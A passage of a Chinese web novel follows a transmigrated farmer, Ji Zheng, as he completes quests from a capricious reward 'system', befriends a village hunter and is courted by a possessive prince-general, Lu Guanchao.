陆观潮手上忙着,瞥了一眼无聊到揪元元毛的季铮,淡淡道,“你把元元的毛揪秃了,倒是更值得笑话。” 季秧笑道,“是啊阿兄,你就歇着吧,剩的不多了,我们就行了。” 季铮蔫吧下来,哀怨的看着陆观潮。 只见陆观潮轻咳一声,松口道,“好吧,既如此,季秧也不必做了……” 季秧“啊”了一声,赵年则亮闪闪的朝陆观潮眨了眨眼。 陆观潮接着道,“我和赵年就行。” 赵年瞠目结舌,这不对啊,剧本不是这样的吧,一点也不公平,为何他还要干? 陆观潮道,“你看看自己的个子,害臊吗?” 他的确生的五大三粗,常年军旅使得皮肤粗糙,一副很能干活吃苦的样子。 赵年哭道,“我没说不干……” 季铮 家里的地晚,收获也同样晚些,一切完毕后别人家早已交完税准备屯粮了,下半年要种的冬小麦种买过了,上一波才收,现在不急种新的,需重新耕地后再说。 在此期间,要间隔半个多月的时间,由此季铮更该考虑粟米卖出多少,屯多少,最重要的是—— 系统! 夜半,季铮心情颇好的敲了系统,“报告!任务三完成了。” 系统依旧冷漠,点点点后弹出【检测到任务三已完成,是否立即发放任务三奖励。】 季铮期待的戳了是。 谁料下一秒,系统弹出来一句【警告,任务四与支线任务未完成,堆集任务大于或等于二,任务三奖励自动封锁,请宿主遵从守约,心怀对土地的热爱,认真完成系统任务,不可堆集,不可消极办公……】 季铮僵住了,张大嘴巴,“还能这么玩!” 早知道他就不接那狗屁支线任务了,这破系统为什么不事先说清楚! 系统【请宿主尽快完成堆集任务,奖励封锁时间为四十八小时,超时奖励将收回,倒计时开始。】 “停停停。”季铮怒道,“不带这样的吧!” 屏幕上只余鲜红的倒计时一闪一闪。 【47时:59分:55秒】 【……】 【47时:59分:50秒】 季铮猛地叉掉光屏,气的七窍生烟,眼前一黑要晕过去。 好一个系统,就这么欺负他吧! 背后有道力气托住他,陆观潮双手环住他扶稳,火热的吐息喷在季铮耳边,语气略带紧张问,“你没事吧,胃又疼了?” 天色已迟,季铮不睡觉跑出去,陆观潮放心不小偷偷跟出去,就见季铮在月光下静静立了一会,正好奇他大晚上不睡照月亮是什么巧思,一瞬间那平和中带点喜悦的表情阴沉下来,身子也摇摇晃晃的。 陆观潮怕人摔了,只好暴露身形上前。 季铮垂着脑袋,下意识抓住陆观潮放在他腰间的手,耳后不是被热气熏得的,还是系统气的,红了一块。 陆观潮没大注意,没听到季铮开口,追问道,“说话,哪里不舒服?” 季铮仰天长啸,“我心痛!” 他的翻车,他的奖励,一去不复返! “心痛?”陆观潮伸手去探,一边摸来摸去一边焦急道,“怎么好端端的心痛。” 季铮哽住,一动不敢动。 兄弟,出发点是好的,但如此关心不至于了吧。 直到陆观潮发觉不对劲,尴尬的和季铮对视。 他咽了口唾沫,一张脸瞬间爆红,怔然道,“我不是故意的,你信吗?” “我信。”季铮扯扯嘴角,双手举过头顶,低头看着还在自己胸口不肯离去的大手,生无可恋道,“能不能,先松开。” 陆观潮慢吞吞的收手,不好意思道,“对不住,我关心则乱了。” 手上没了东西,陆观潮不习惯的攥紧,回忆起方才的触感。 很软,心跳声有力。 …… 不对,他为何要回忆这个,陆观潮思及此,脸更红了,像是一只熟透的螃蟹,那些张牙舞爪用来防御的钳子失去作用。 季铮闭上眼,什么都不敢想了,他道,“你还有另一只手,记得吗?” 陆观潮闻言,恍然发觉还抱着季铮,刚刚攥紧的不是空气,而是季铮的腰! 他惊呼一声,两只手都撤回,捂住脸想找个坑把自己埋了。 季铮踉跄一步站稳,我们是正经兄弟,对吧…… 30. 第 30 章 江南。 岭山候乍然从荒芜之地来到这江南水乡,水土不服病了一场,可他毕竟是一武将,没躺几天便活蹦乱跳起来,兴致勃勃的逛江南,今日采莲蓬,明日吃酒楼,短短时间内胖了一小圈。 因他玩的太嗨了,叶闻总也找不到岭山候的人影,公文堆了许久都找不大人处理。 岭山候管江南,不仅陛下头疼,他这个做副将的也要跟着焦心。 要不是镇南候走得太快,从江南到大都,又从大都一路赶去幽州,中间连停留都没有,别说拐江南一趟了,不然他身为其副将,理应跟着一起去幽州的。 又一次叶闻来寻岭山候没见人,不知跑哪里潇洒了。 他撂下公文,想照例拜托帐中小将士告知侯爷处理公文,又想到人都不会来,小将士无处告知,叹了口气打算带走没批阅的公文,反正江南多是民情,并无军机要事,不批不碍事,待镇南候回来再补。 不料,叶闻抱起昨日送来的公文,随眼一瞟,惊觉有墨迹。 他翻了两本,岭山候竟批阅了? “叶副将,您来了。” 叶闻听见自己的名字,看向来人,是跟在岭山候身边的新谋士,这位人深居简出,他就在初来时见过一面,应是叫柳应怜。 叶闻颔首,“柳大人,恕我多嘴,岭山候昨夜归了?” 柳应怜摇摇头,“并未,江南好风景,侯爷爱玩闹,哪能这么快尽兴。” 这就奇了怪了,不是岭山候,那这公文是何人批阅的。 柳应怜看出他的疑虑,又道,“侯爷昨日下的口令,命我代为处理公务,此乃手牌,请将军过目。” 叶闻恍然,对柳应怜多了几分佩服,此人年纪轻轻居然备受信任,不容小觑,立即端正姿态,拱手行了一礼,“既如此,是我多虑了,辛苦柳大人。” “不辛苦。”柳应怜礼貌笑笑,“我来是为了告诉将军一声,将军繁忙,以后公文不必劳心再送了,我去取就行。” 叶闻心底暗道不好,这人是变相要驻军信息的掌握权啊,岭山候此招妙哉,先沉迷酒肉麻痹他,再派一个谋士以退为进,谁知道他们掌握军机要事后会做些什么事? 还好他机警,避免了一场危机! 叶闻警惕道,“我并无其余的事要做,闲着也是闲着,倒不如来回走动走动。” 柳应怜一愣,没有过多强求,挑眉笑道,“也罢,那劳烦将军了,我就在侯爷帐子边上那一间。” 叶闻长舒一口气出去,没走出几步又碰到一人。 妇人头上步摇轻轻晃着,容貌昳丽,神色恹恹,被丫鬟扶着,碰见叶闻勉强笑了一下,声音很轻道,“叶闻啊,我正要找你去。” “夫人。”叶闻停下脚步,恭敬道,“侯爷还没有传信回来。” 妇人是镇南候结发妻子,正经名门千金,先帝为制衡其特意指婚,儿时有病,导致身子虚弱无法生产,镇南候忙于征战,邹夫人虽体弱,但脾性好,军中对这位夫人颇有好感。 邹夫人闻言,落寞应道,“是这样啊,那我便回了。” 她叫丫鬟递上篮子,又道,“我备了艾草膏,这些日子蚊虫多,你发下去,可别被虫害了。” 叶闻接过道了谢。 邹夫人状似无意道,“最近岭山候在忙什么呢?” “喝酒赏景,四处玩乐。”叶闻无奈耸耸肩,“好在岭山候带来的那位谋士还管事,不若我还不知该怎么和侯爷交代。” 邹夫人若有所思,抬眼朝临时收拾出来的新营帐望了望,没说什么。 叶闻送走邹夫人,提着篮子原地想,侯爷不带他走就罢了,怎么不捎带着邹夫人。 蝉鸣声聒噪,嗡嗡嗡的吵得人心烦,季铮瘫在院子里,闭目养神,季秧早上和赵年去镇上买粟米了,家里只留下他和陆观潮。 陆观潮自认昨夜冒犯了季铮,扭捏着躲在房里不肯出来见人。 新制的冰还没好,季铮忍着燥热,默念心静自然凉,忽的一阵凉风刮过,他眯起眼,瞧见是陆观潮,索性睁眼偏头看他,试探着问,“好了?” 陆观潮抿唇不语,像根木头桩似的给他摇扇子,这次倒没红着脸。 季铮不管他,调整到舒服的姿势重新闭上眼。 微风吹起季铮的发丝,拂过脸颊,陆观潮凑得很近,仿佛能看到其脸上的小绒毛。 他先前觉得季铮眼睛最活泼漂亮,没想过闭着眼也丝毫不逊色。 相比于前者的和善,后者多了些距离感,鼻梁挺直,额头饱满,这就是这时,陆观潮才注意到原来季铮的眉峰竟如此凌厉。 “季铮。”隔了一会,陆观潮无端叫了他一声。 季铮没睁眼,敷衍的“嗯”了一声。 陆观潮心跳如鼓,他离季铮远了段距离,怕人被他吵到,顿了顿继续道,“我想问你个问题。” 季铮点头,“什么?” “你。”千言万语堆在嘴边,陆观潮却说不出口,憋了半天,他道,“你觉得我怎么样?” 季铮眼皮一跳,“问这个做什么?” 穿越前季铮穷是穷了点,但玩心不小,大学前的暑假打工赚钱,给自己买的第一个礼物是一台二手旧款手机,此后一发不可收拾,恶补网络知识,自称前无古人后无来者,冲浪第一线。 陆观潮这样子他最清楚了! 下一秒不是表白就是抽刀决战,结合观察陆观潮是个男的,那就只有决一死战了! 兄弟,别闹。 季铮猛地弹跳起身,“我们还是朋友吧?” 陆观潮摇扇子的动作停下,被季铮突如其来的行为吓了一跳,道,“自然。” “还好还好。”季铮见陆观潮神色如常,手中没有他想象中的三百米大刀,松了口气倒回去,“没事,你说。” 不是取他小命就行。 陆观潮捏紧扇骨,终于下定决心。 他一眨不眨看着季铮,不想放过每一个表情,“和我去幽州吧。” 说罢,陆观潮又絮絮叨叨的补充道,“我奉你为座上宾,只要我能管的人,随你调令,幽州地界你可随意出入任何地方不受限制,你若不愿待在军中,我便为你置办房产,不用处理公务,行动不用报备,我也不强迫你做事,芳芳也在,可以陪元元,幽州是穷了些,艰苦了些,但高官厚禄,金银财宝,你想要什么,我都能给你找来……” 哦,除了娶妻相亲无能为力。 “和你去幽州?”季铮笑道,“那我的地怎么办?” 一瞬间,万籁寂静。 蝉鸣声都消失不见了。 陆观潮耳朵嗡嗡作响,浑身一凉,心跳骤然归于平静。 季铮不愿意…… 不愿意。 怎么办。 陆观潮想不到了,他已经把能说的都说了。 幽州苦寒,留不住季铮。 他语无伦次道,“幽州的雪景很好,我带人修的水脉气势磅礴,再冷也不冻,冬日可以下网捕鱼,个个足斤,还有,我营帐外有跑马场,很大,骑着马狂奔跑两炷香也到不了头,嗯……” 陆观潮心一横,“我有一属下,会算命!” 季铮嘴角抽了一下。 “我从别人手里抢过来的。”陆观潮轻咳道,“他名声很广,传闻何物皆可算,卦金千两,与你,可以免费。” 季铮道,“谢谢?” 两人对视片刻,陆观潮默默道,“我们不是朋友吗?” 季铮敛了笑,“现在谈论这事为时尚早,等,等以后再说吧。” 他说完,起身头也不回的离开。 这个时代太复杂,季铮心底对彻底融入这里很抗拒,陆观潮不迂腐不假,这不能代表所有人都是这样的,也不能代表陆观潮不会变。 陆观潮看着他走掉,头一次知道原来被人拒绝是这种滋味。 好难受,他从没这么难受过,宛如一颗心被活生生挖去,胸口空落落的。 罢了,季铮不愿意,那他只能绑走了。 那次之后,陆观潮没在提起这件事,季铮以为是想通了,也就不躲着人走了。 粟米产出不少,不是一两天能卖完的,季秧对做生意爆发了浓烈的天赋,每日饶有兴趣的叫着赵年一起去镇上,没季铮什么事了,活像守寡老人一样。 系统的任务仅剩不到八个小时,季铮破天荒的没瘫在躺椅上,备下一个小包袱要出门。 陆观潮忍了又忍,还是道,“你要去哪?” 季铮本来就打算带着陆观潮,实话实话道,“找一个人,来,帮我拿着。” 他边说,边郑重的把包袱交到陆观潮手里。 陆观潮一喜,一方面时季铮没和他生气,另一方面是季铮真的会带着他,他露出这段时间来第一个真心的笑,“这是什么?” 季铮比了个嘘的手势,“保密。” 天热,上山的路颠簸,陆观潮紧紧跟在季铮身边,几次想劝人休息一会都被拒绝,不明白一个屠户有什么妙处值得季铮这样。 要说打猎,他也会,不见得比人差,怀着这样的心情,陆观潮冷着脸偷偷踩季铮的影子。 季铮这人,令人讨厌! 走过这一段,其余的路就好走了,大抵是沈屠户为了方便自己平了地。 此路深处,有一间茅草屋,不简陋,但着实敷衍,窗子都懒得修,远远看上去不像房子,反而像个盒子。 这话不吉利,季铮暗道了两声失礼失礼。 走进,隐约有响声传出,有人在家,太好了,没有扑空。 季铮忙跑过去,敲了敲门,后退一步微笑等待。 陆观潮不屑,可仍是寸步不离的守着。 他真想把季铮笑着的脸捂得严严实实。 没多久,房门打开,一个皮肤黝黑的汉子出门,登时遮住头顶阳光,投下一片阴影。 他粗声粗气道,“你是?” “……” 陆观潮一僵,打量了一遍面前比自己还要高半个头的人,挫败版接踵而至。 这玩意吃什么长的的! 31. 第 31 章 季铮扬起一个笑脸,“我是季铮,你应该没听说过我,我是……” 话没说完,沈屠户点头,“嗯,我知道你。” 顿了顿,他又道,“我,我叫沈弎,你找我,有事吗?” 仔细看来,沈弎虽五大三粗,但身材结实,黑是黑了点,可眉眼却是端正好看的,尤其是一双眼睛,带着点孩童般的懵懂,傻乎乎的。 季铮拿过陆观潮怀里的小包袱,递给沈弎,“早听闻您的射艺一绝,有些事想要拜托你,这是谢礼,不知能否与你交个朋友?” 季氏交友第一步,先求助再答谢,一来一往,关系不就好起来了? 沈弎呆呆的接过,双手捧着,没有第三只手拆来,他看了一会,抬头问,“这是,什么?” 季铮忙帮他拆开,陶罐打开,一股凉气冒出,他介绍道,“在下不才,没有拿的出手的东西,唯有这一罐冰聊表心意。” “冰。”沈弎睁大眼睛,放到地上,自己也蹲下好奇的戳了一下,感受到指尖穿来的凉意,面上随即炸出一个笑。 他笑的露出一排门牙,眼睛亮亮道,“真的是冰。” 季铮不解,“这话何意?” 沈弎摸摸脑袋,憨笑道,“我下山,他们说,你会制冰。” 农忙又加上天热,备材料时村里人帮了不少忙,季铮这一份之前趁闲暇又赶制了一些出来分了分,应是他们闲扯时碰巧入了沈弎耳里。 原是早就听说过,那可太好了,岂不是事半功倍,与沈弎相交应不会太难。 季铮道,“过奖过奖,不过是一些小手段罢了,不知意下如何?” “帮忙吗?”沈弎道,“我会,帮你的,不是你,别人,我也帮。” 季铮没听大懂,轻轻“啊”了一声以示疑惑。 陆观潮道,“他的意思是,会帮忙,就算不是我们,不管是谁他都会帮忙” 沈弎连连点头,季铮恍然,喜道,“感谢感谢。” 根据他四处打听了解,沈弎出生时没了母亲,跟着父亲久住山林,父亲早年走后,不常与人说话,久而久之丧失了一部分语言功能,也实属常事。 陆观潮问,“你结巴?” 沈弎眨了眨眼,“啊?” 季铮满脸菜色,“哈?” 哪有当人面揭人短的,陆观潮找抽呢? 沈弎格外实诚,也有可能是有些傻,他应道,“是,是的。” 季铮打着哈哈,“俗语关上一扇门,就会打开一张窗子,沈公子虽不精通言语,但技艺高超嘛。” 陆观潮默默翻了个白眼。 “哈哈哈。”季铮忙挡住陆观潮,岔开话题道,“那就这么说定了,劳烦沈公子带给我两只野鸡,要活的,若可以,请捎给我一些草木灰,辛苦。” “不是不是。”沈弎慌忙摆手,“我,不用,你的冰” 他说着,把冰收好,强硬的塞到季铮怀里。 动作干净利索,可那双眼里写满了依依不舍, 季铮不解,“为何?” 沈弎解释道,“鸡,可以,冰,不要。” “他说不用报酬。”陆观潮不耐烦的道,“你要鸡为什么不和我说。” 季铮笑得僵硬,“这句我听得懂,只是想问,沈公子为何不要报酬。” 陆观潮没等到季铮回他话,气得瞪着面前的背影,像是要瞪出一个窟窿。 沈弎道,“他们要我,帮忙,都不收,东西,你也一样。” “他们是他们,我是我。”季铮凑近他,附耳低声道,“你忘了宋娘子了,她不是没买到冰正发愁吗?” 还没说完,陆观潮提着他的衣领把他拽开,季铮转头,瞧见陆观潮一脸怒容,心里那一点怨气也随风飘去了。 好吧,陆观潮又发小脾气了。 季铮自觉和沈弎拉开距离,安抚似的拍了拍陆观潮的手,得以站稳,再看向沈弎,只见黑的像煤炭的脸上浮现出一抹可疑的绯红。 精彩精彩,村口消息八卦队的情报果然是真,哪怕是另一个世界的古代,实力也丝毫不曾减弱。 不成想沈弎此等敦厚老实的汉子,会喜欢镇上茶坊的泼辣娘子。 好一个俗套的古早糙汉文学,呆子男主市侩女主?倒也算得上般配,有趣有趣。 沈弎没再反驳,伸手把冰抱住了,“谢谢,我会送鸡,和灰,给你。” 他垂头,挂着点浅浅笑意,抱着冰的手指微微蜷起,一副很期待的模样。 季铮连连道了几句不急不急,怀着热切吃瓜的心,和陆观潮告别沈弎下山。 下山路上,陆观潮很不爽,以往没走几步就要质问了,这次倒不同,大半段路程下来,竟不发一言,只暗自生闷气,那怨气波及到季铮,惹得他脊背生寒。 季铮奇怪问,“你怎么了,为什么不说话?” “我还想问你为什么。”陆观潮面无表情道,“你想要的,不过两只鸡,至于来找他,为什么不让我干。” 他虽不显露一丝一毫,但语气里尽是不悦,季铮心里发笑,陆观潮的性子真是怪哉,难不成在他的将士们面前也是这样的吗?写到野史里也没人回信吧! 季铮一眨眼道,“今晚你就知道为什么了,我保证,决不让你失望。” 陆观潮轻哼一声,侧身躲过季铮要拉他的手,自顾自下山去了。 他先前不发作,怕的是自己生气顾不上季铮,万一季铮失足受伤了怎么办,现在地势平坦,马上就到底,没了这风险,便敢闹了。 季铮跟了几步,实在想不通陆观潮好歹也是位王爷主帅,小毛病怎会如此之多,也没见他在赵年那里是这样啊。 在赵年那的正经劲去哪了? 他叹了口气,想跟上陆观潮哄哄,不料一旁草垛子毫无征兆的窜出一条蛇。 季铮余光瞟到,心中一慌,连带着脚底虚浮,不受控制的往前扑去,踉跄几步撞到陆观潮后背,正好在是他一身肌肉上,撞得鼻腔酸痛,眼眶发酸。 他毕竟是个成年男子,一整个靠过来重量不小,陆观潮闷哼一声,反身拦住要继续倒的季铮,“你没事吧?” 季铮攥紧陆观潮扶他的手臂,慌张道了一句,“有蛇。” “蛇?”陆观潮扶稳季铮,那蛇已经消失的无影无踪,不知躲到哪去了。 他四下环顾一圈,瞄准一处草,没等季铮阻止,一脚踩下碾了碾,草丛猛地抖动两下,没了声息。 季铮一脸懵,“你干什么?” 陆观潮捡起一根树枝挑起死透的蛇,“你不是想要吗?” “我哪里想要了?”季铮瞠目结舌。 最终,季铮驱使陆观潮挖了个抗将它安葬,又作揖道歉才肯让陆观潮走,自己也拜了一拜。 正是农忙的时节,找陈昇修农具的人家增多,不得已把辕犁织机的事往后稍稍,差不多闲下来了,又开始捣鼓辕犁。 两人到家时,陈昇就等在门外,怀里抱着一叠纸,嘴里念叨着什么,神奇格外专注。 季铮上前叫了他一声,“陈昇,你怎么来了,有事找我?” “啊!季铮哥。”陈昇回神,发觉时季铮,笑道,“我来找你。” 他迫不及待的展示给季铮看自己写的东西,一遍翻一边道,“我这段时间一直在弄这些,总算是有点成绩了,不敢耽搁一点,才捋清楚就来找你了,没想到你没在家,我可有打扰?” 他这话十分有信服力,季铮双手捏着陈昇双肩,将人上下看了一遍,面容憔悴,眼底乌青,当真是夙兴夜寐的结果啊。 季铮道,“好,我知道了,咱们先不说这个,你几个晚上没合眼了?” “还好,也就……”陈昇凝眉思索片刻,顿觉心虚,“昨日是第三日,不过我白日有补觉。” 季铮接过陈昇字迹潦草的一叠纸,退着陈昇出门 ,“听我的,什么都别想,回去睡一觉,我明日去找你。” 陈昇还想再说什么,被季铮一句“听话”堵住,一步三回头的走了。 送走陈昇,陆观潮飘到季铮身边,幽幽道,“我也要看。” 季铮吓了一跳,回头看到陆观潮阴恻恻的冲他似笑非笑,道,“看就看,你乱吓唬人干嘛。” 陈昇的确是天赋异禀,由他改过的图纸,更符合临沂村的情况,村里不缺人力,就缺钱,陈昇将不必要的铁全改成榫卯结构,虽打了一圈笨重了几分,但大大削减了成本,也算是能承担的起。 季铮一一看过,只觉这几处改的甚妙,不由拍手叫绝。 陆观潮下意识想反驳,却也跳不出错处,一言不发走开了。 眼看着夕阳西下,季秧和赵年擦着黑回家,一进门就兴冲冲的来找季铮。 她把钱匣子放到季铮桌上,喜笑颜开道,“阿兄,你快看。” 季铮看着满满一匣子,奇道,“今日带去的全买完了?” “是呢。”季秧道,“遇到了位好心的娘子,说咱们的黍米质量好,不仅买了今天的,还说明日的也要买了,她还夸我机灵,算账算的利索。” 季铮也顺着她的话夸了几句,看季秧兴奋劲过去了,又问,“这娘子要这么多,想来是急需,之前怎地没遇到?” 他种的黍米,严格按照科学种植,浇水施肥比例他亲自根据情况比照过的,品质当然没话说。 那人一下子没这么多,出手还如此豪横,必是挑选过其他的不满意一眼挑中了,而季秧摆摊也有几天了,要看上早该看上了。 季秧道,“我们没在吴阳镇卖,听说山那头的浮水镇多种稻米,少种粟米,想去看看有没有人要,不想第一天就碰上好人了!” “原是如此,真棒。”季铮道,“明日阿兄陪你一起去。” 季秧点头应下了。 陆观潮往烧开的水里下淘好的米,问赵年,“怎么样了?” “今日还算顺利,卖了十五文钱,还有……”赵年掰着手指头算。 陆观潮气笑了,“我问你这个了?” 赵年陡然反应过来,尴尬的笑笑,“属下之过,侯爷并没有来信,应是才到幽州需要适应。” 陆观潮“嗯”了一声,没再问什么。 赵年想帮人干活被躲开,陆观潮白了他一眼,“你又不会,去等着吃吧。” 殿下今天,脾气很火爆啊。 赵年讪讪收手,一边去了。 另一边,季铮让季秧保管好钱财,觉得时间差不多了,戳了系统,“申请查看任务进度。” 系统【……】 【支线任务:走亲访友,结交至少十位大周人,达到值得深交的评判,当前人物进度10/10,恭喜您任务完成,是否现在打开支线任务奖励。】 yes! 季铮激动的比了个胜利的手势,忙戳了选项是。 【好的,正在打开。】 【……】 【打开失败。】 季铮,“我去?” 【支线任务出现偏差,请宿主检查确定完成后再兑换。】 时间一分一秒消逝,季铮盯着一点一点扣除的时间,仅余一分钟就要截止了,这个时间,别说去找沈弎了,跑到山下都难说。 季铮无语至极竟笑出了声,他凉凉问系统,“到时间没有完成任务会有什么惩罚?” 系统,【本系统一直以来遵从人道主义,不会对宿主□□以及精神有不利伤害,请放心,若未按时完成任务,处罚为以下。】 【一,本任务奖励扣除。】 【二,扣去宿主信誉分,影响下一次任务的奖励力度以及开启任务。】 【三,严重情况将剥夺系统奖励机制,即为封号。】 这叫没有伤害?! 那为什么他的心隐隐作痛? 32. 第 32 章 季铮发出最后的抗议,“我能不能看一眼具体的好感度。” 系统难得弹出来一个笑脸,仿佛心情很好,【OVO,好的,这就为您打开。】 好在系统不知是可怜他,还是终于更新了丁点人性,没有再刁难,包含沈弎在内的十人好感度从高到低依次排列,展示在季铮眼前。 季铮一眼看过去,不用动脑子也知道陆观潮必然低不了,果不其然一骑绝尘,居高不下,不同的是,其他人皆是系统默认蓝色,而陆观潮却萦绕着似粉似蓝的光,一闪一闪的,格外晃眼。 虽说数值没有季秧高,但这层粉色似乎更具价值,竟排到季秧上头。 如果蓝色是好感度,那粉色是什么鬼? 愤怒值? 不至于吧。 他是拒绝了陆观潮去幽州的邀约,可未见人闹,按理应该翻篇了,难道是白日强迫陆观潮给蛇道歉的事? 季铮甩甩脑子把这个荒谬的念头甩出去,陆观潮倒没必要因为这点小事生气,既如此,那就是沈弎的原故了。 陆观潮的性子,季铮自认是琢磨清楚了,本质还是一个小孩,遇到想要的,喜欢的非要霸占不可,且只有自己能有,外人看一眼都疑心是不是要夺去。 幽州是,手下的兵是,季铮这个能助他建功立业的金手指也是。 季铮笑着摇了摇头,这人还说皇上小心眼,俩兄弟本是同根生,性子能差到哪去? 任务倒计时仍在耳畔,季铮已经放宽心不在乎了,一边研究好感值面板,一边等待系统宣判任务失败。 划到最下面一条,是沈弎的好感度,奇怪的是,它正以一种的诡异速度上升下降。 像过山车一样,一会高一会低,时不时颤颤巍巍的卡在合格值。 季铮面色复杂的看了会,终于,好感条在一次剧烈起伏后归于平稳,赶在任务时效结束前,缓慢的回升至合格值上一点。 系统,【支线任务结束,正在检测任务进度……】 【恭喜宿主完成支线任务一,任务奖励肥皂制作明细,是否现在领取。】 季铮还没反应过来,凭借肌肉记忆点了是。 系统,【奖励成功发放,本系统开发值20%,望宿主再接再厉,继续完善系统。】 直到一本记录肥皂教程的册子被季铮攥到手里,他缓过神。 也不知沈弎内心是经历了如何跌宕起伏的路程,好在有惊无险,阴差阳错的让他得了奖励。 随之而来的是狂喜,不止是这本册子,还有经此一事,他才得知这系统不会一直毫无人性的傻下去。 居然还有探索完善一说? 现阶段系统给的奖励足够他开挂了,季铮不敢想象升级后的系统会有多无敌。 好吧好吧,他以后再不动不动埋怨系统了。 陆观潮做好了饭,在院里叫了季铮一声,他嘴上应了一声,翻看了一遍册子,心底有了盘算。 出门时撞上来找他的陆观潮,季铮微微抬头,直视他的眼睛,认真问,“你现在生气吗?” 陆观潮先是不解,后勾了勾唇角,“嗯”了一声。 他道,“没想到你有心记得,我可以帮你捉鸡,不必去找那个陈弎。” 季铮笑了,“人家是沈弎好不好。” 第二日,季秧早早装了一车粟米,因季铮要去,陆观潮也得跟着,赵年自然而然被留在家里看门。 路上,季秧喋喋不休的和季铮说那位好心娘子多好多好,不仅买了东西,还请她喝冰酥酪,手艺一顶一的好。 对此季铮存疑,没人会莫名其妙的发善心,更何况这又不是二十一世纪,怕季秧不开心,面上是不能显出来,一直挂着淡笑应承。 后面推着车的陆观潮听到耳里,看着季铮勉强称一句灿烂的笑脸,坏心思的轻轻撞了他一下。 ——季铮怎么可以忽视他。 季铮走得好好的,无端被撞,脚下一个踉跄。 回首去看,陆观潮表情不带一丝歉意的朝他道了声歉。 季秧走在旁边察觉到,不知陆观潮是故意的,担心问,“陆先生是不是累了,我们停到前面歇歇脚吧。” 不等陆观潮开口,季铮率先道,“你陆先生力大无穷,这点东西不算什么,来,你累了吧,坐上去。” “啊?”季秧连忙摆手,“这不好吧。” 季秧擅自替陆观潮答应,“没事,你才多重,十个你他也能推动。” 见陆观潮点头,季秧稍稍放心,束手束脚的坐下,不敢再乱动了。 季铮绕到陆观潮身边,身子一歪撞了下他的肩膀,打趣道,“满意了?” 陆观潮不轻不重的撞回去,“还行。” 浮水镇要比吴阳镇热闹些,左右相距不远,要说热闹也没热闹到多少,不过是多了几个摊位而已。 季铮没全把冰送沈弎,自己留了一部分,不用做农活费力气,家里用冰的地方少了。 再加上冰何其珍贵,村里人不好意思来讨要,而季铮分一次总不够,便攒下了,想着找个茶楼酒楼卖了,也算回回本。 季铮帮着把摊子支起,打算逛一逛买些东西,陆观潮听闻,嘴上不说,面上写满了想跟着。 “现在还早。”季秧主动解围,“陆先生一起去吧,我自己可以。” 陆观潮也不推辞,自然的凑到季铮身边,“你要买什么?我帮你拎着。” 据他观察,季铮爱捣鼓玩意,上到辕犁织机,下到玩具吃食,无一不通无一不晓,天南海北的事都会一些,脑袋里装满了新奇想法。 陆观潮是不大喜欢乱逛,觉得浪费时间,后来跟着季铮逛过几次,次次听一耳朵乱七八糟的杂事,其中夹杂几句要弄的物件。 这种比其他人更早一步知道的感觉太有趣了,以至于他迷上和季铮一起逛街买东西。 怪哉,再枯燥的事只要和季铮一起,就有意思了。 这次亦是,季铮拐进一间药材铺子。 吴阳镇少有大夫,药铺也了了,铺子里的药材品种甚少,只有一些治疗寻常病的药,甚至还不全。 浮水镇人多不说,又临湖水,日日泡在水里捕鱼,一凉一热,极容易生些小病,这个时代稍有不慎感个冒都会死人。 有病人就要大夫,因此比吴阳镇要好些。 铺子有个看店的小药童,堪堪到季铮腰高,坐在柜台前,见有客上门,念叨着大人吩咐的话,“拿药把方子给我,看病等等再来。” 季铮问道,“你家大人呢,什么时候回来?” 小药童一板一眼答,“去有云茶坊吃茶了,下午才回。” 有云茶坊,季铮路上有遇见这家店,两层的店面,在整个镇上少见,很难能忽视。 季铮颔首,要问这小药童认不认得自己要买的几样东西。 门口悬挂的铜铃一响,身后走进来一老者,摇着把蒲扇,低声叹了些什么,看小药童的态度,应就是药铺的店家了。 老者拍了拍小药童,叫他自己玩去,道,“你们要买点什么?” 季铮早列了个单子,拿给老者看,老者皱着眉,不知这是什么病症的药方, 狐疑的多看了季铮两眼,终究没多问背过身去抓药了。 陆观潮默默掏钱,他早看过那单子了,同样不知所云,季铮到底要做什么东西用得上干桂花和八角桂皮,家中也并没有病人。 在他眼里,这些东西是用来入药的,当然想象不到是用来吃的。 买完药,季铮随口问,“刚听孩子说,您爱去有云茶坊吃茶,今日为何早早回来了。” 老者道,“你是镇外人吧,不大清楚,这茶坊茶好,吃食好,老板娘子爽快,还便宜实惠,我们这的人都爱去吃,省得在家开火,今日歇业了,扑了个空。” 陆观潮歪头问季铮道,“你也想去?” 季铮打趣道,“怎么,你要告诉我你也会。” “这我倒不会,不过可以陪你去。”陆观潮虔诚的眨眨眼。 季铮夺过他手上包好的药材,“人家今天歇业。” 陆观潮兴致勃勃的继续邀请,“我们去别的茶坊也成。” 他想,和季铮一起喝喝茶,多听几小故事,比什么都有意思,可惜被一声“没钱”无情拒绝。 回摊子时,季铮远远看见季秧正和一位娘子说话,想来正是昨日全买下的那位了。 走近一看,娘子发髻上插得步摇,随着笑颜一颤一颤的,漂亮的小姑娘站在一起就是赏心悦目,季铮看着看着心情都变好了。 “你看什么呢?”直到陆观潮阴恻恻的附耳道,吓了季铮一激灵。 季铮轻咳一声上去打招呼,季秧热情的和他介绍,“阿兄阿兄,这就是我和你说的那好心娘子了。” 方才在药铺季铮还额外买了一小包干山楂,他塞给季秧,才仔细打量面前的娘子,衣裳利索,寻常料子,没带多余配饰,不像是豪掷银钱的主。 “你就是季生员罢,我姓宋,宋有音。”宋有音不忌讳姑娘家名字不外穿的道理,笑着道,“在镇上开了家茶坊,这几日要上粟米糕,找来找去,也就你的粟米合适了。” 季铮暗道,这可都是他们一把屎一把屎种的,品质不好就怪了。 听到宋有音说茶坊,他格外熟悉,试着问,“可是有云茶坊?” 宋有音颔首,“不错,就是有云茶坊,你去过?” 季铮道,“惭愧,我第一次来浮水镇,听闻茶坊大名,要想去看看,不料得知今个歇业,还以为没有这个福分了,好巧遇上了老板本人。” “不愧是生员老爷,说话就是中听。”宋有音提议道,“左右没有其他事,不如来我店里,我给你们砌壶茶。” 季秧对宋有音很是亲切,啃了一半的干山楂丢进袋子里,缠着季铮说想去,“阿兄去嘛,宋娘子的酥酪很好吃的。” 拿人手短,去一趟又没坏处,再加上陆观潮也说了想去,季秧半推半就的同意了。 可真要去时,陆观潮不乐意了。 几人约好地方,季秧先和宋有音先走,季铮自觉包揽送粟米的工作,只是拉陆观潮拉不动。 再一看,人不爽的眼珠子都要瞪出来,大有种怨夫的既视感。 季铮无端后背生寒,“咋,咋了?” “不要去。” 他声音抵哑,季铮没听清,追问道,“什么?” 陆观潮闷闷道,“不想去。” 那刚才朝着要去的是哪个,季铮又气又想笑,“好吧,正好送完了你看车,我回来给你带一份,行不行?” “不行。”陆观潮语气冷硬,“你也不能去。” 